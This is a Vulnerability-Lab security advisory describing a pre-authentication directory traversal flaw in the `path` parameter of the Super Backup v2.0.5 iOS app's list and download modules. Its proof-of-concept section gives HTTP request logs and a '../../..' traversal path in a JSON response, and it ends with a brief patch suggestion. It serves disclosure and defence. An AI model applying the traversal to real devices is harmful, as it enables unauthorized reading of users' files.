Document Title:  
Super Backup v2.0.5 iOS - Directory Traversal Vulnerability  
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Release Date:  
Vulnerability Laboratory ID (VL-ID):  
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Vulnerability Class:  
Directory- or Path-Traversal  
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Abstract Advisory Information:  
The vulnerability laboratory core research team discovered a directory traversal vulnerability in the official SuperBackup v2.0.5 ios mobile application.  
Affected Product(s):  
Dropouts Technologies LLP  
Product: Super Backup v2.0.5  
Vulnerability Disclosure Timeline:  
2020-04-30: Public Disclosure (Vulnerability Laboratory)  
Discovery Status:  
Exploitation Technique:  
Severity Level:  
Authentication Type:  
Pre Auth (No Privileges or Session)  
User Interaction:  
No User Interaction  
Disclosure Type:  
Full Disclosure  
Technical Details & Description:  
A directory traversal web vulnerability has been discovered in the official Super Backup v2.0.5 ios mobile web-application.  
The vulnerability allows remote attackers to change the application path in performed requests to compromise the local application   
or file-system of a mobile device. Attackers are for example able to request environment variables or a sensitive system path.  
The directory-traversal web vulnerability in the app is located in the `list` and `download` module with the `path` parameter.  
Attackers are able to change the path variable to request the local list command. By changing the path parameter the validation   
mechanism runs into a logic error that turns back the possibility to request different pathes outside the basic import/export   
folder. Thus way the attacker injects for example local path environment varibales to compromise the local ios web-application.  
Exploitation of the directory traversal web vulnerability requires no privileged web-application user account or user interaction.   
Successful exploitation of the vulnerability results in information leaking by unauthorized file access and mobile application compromise.  
Proof of Concept (PoC):  
The directory traversal vulnerability can be exploited by attackers with access to the wifi interface in a local network without user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
PoC: Payloads  
PoC: Exploitation  
--- PoC Session Logs [GET]] ---  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
GET: HTTP/1.1 200 OK  
Cache-Control: no-cache  
Content-Length: 174  
Content-Type: application/json  
Connection: Close  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
GET: HTTP/1.1 200 OK  
Content-Length: 174  
Content-Type: application/json  
Connection: Close  
Opening the url allows to download the list file json with content path output  
[{"path":"../../../../../../../../../../../../ "size":21961}]  
Solution - Fix & Patch:  
The vulnerability can be patched by a restriction of the requested path parameters with the list and download module.  
Credits & Authors:  
Vulnerability-Lab -  
Benjamin Kunz Mejri -  
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